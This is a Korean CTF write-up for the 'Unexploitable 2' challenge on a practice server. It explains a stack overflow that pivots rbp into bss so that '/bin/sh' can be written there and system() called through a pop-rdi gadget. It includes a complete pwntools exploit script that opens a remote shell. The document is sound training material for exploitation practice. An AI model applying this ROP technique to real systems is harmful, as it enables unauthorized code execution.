1번과 마찬가지로 취약점은 그냥 준다.
system() 함수의 plt도 그냥 준다.
1번과 다른 점은... "sh\x00"의 고정 주소가 없다는 점이다.
고정주소에 "/bin/sh\x00"를 올리고 이를 system() 함수의 매개변수로 주면 된다.
시나리오는 다음과 같다.
1. 오버플로우 시킬 때 rbp를 bss로 넣어주고, 취약한 함수를 다시 부른다.
2. 이때 인풋을 bss에 받기 때문에 "/bin/sh\x00"를 올리고 바로 system() 함수를 부른다.
rbp를 bss로 덮는 이유는, 두 번째 fgets() 함수 호출시 입력을 bss에 넣기 위함이다.
fgets() 함수가 입력 받을 때 입력 버퍼 주소를 다음과 같이 rbp를 기준으로 잡는다.
첫 번째 오버플로우시 rbp를 bss+0x10으로 잡아주면, 두 번째 입력은 고스란히 bss에 들어갈 것이다.
from pwn import *
#p = process('./Unexploitable_2')
p = remote('ctf.j0n9hyun.xyz', 3029)
e = ELF('./Unexploitable_2')
bss = e.bss() + 0x800
print 'bss :', hex(bss)
p.recvuntil('dynstr!\n')
payload = "A"*0x10
payload += p64(bss + 0x10) # fake rbp == bss + 0x10
payload += p64(0x4006EE) # fgets again (on bss)
p.sendline(payload)
sleep(0.3)
payload2 = "/bin/sh\x00" # on bss
payload2 += "B"*(0x18-len(payload2))
payload2 += p64(0x0000000000400773) # pop rdi ret
payload2 += p64(bss+5)
payload2 += p64(e.plt['system'])
p.sendline(payload2)
p.interactive()
'write-up > ctf.j0n9hyun.xyz' 카테고리의 다른 글
| [j0n9hyun] Unexploitable 1 (0) | 2019.07.23 |
|---|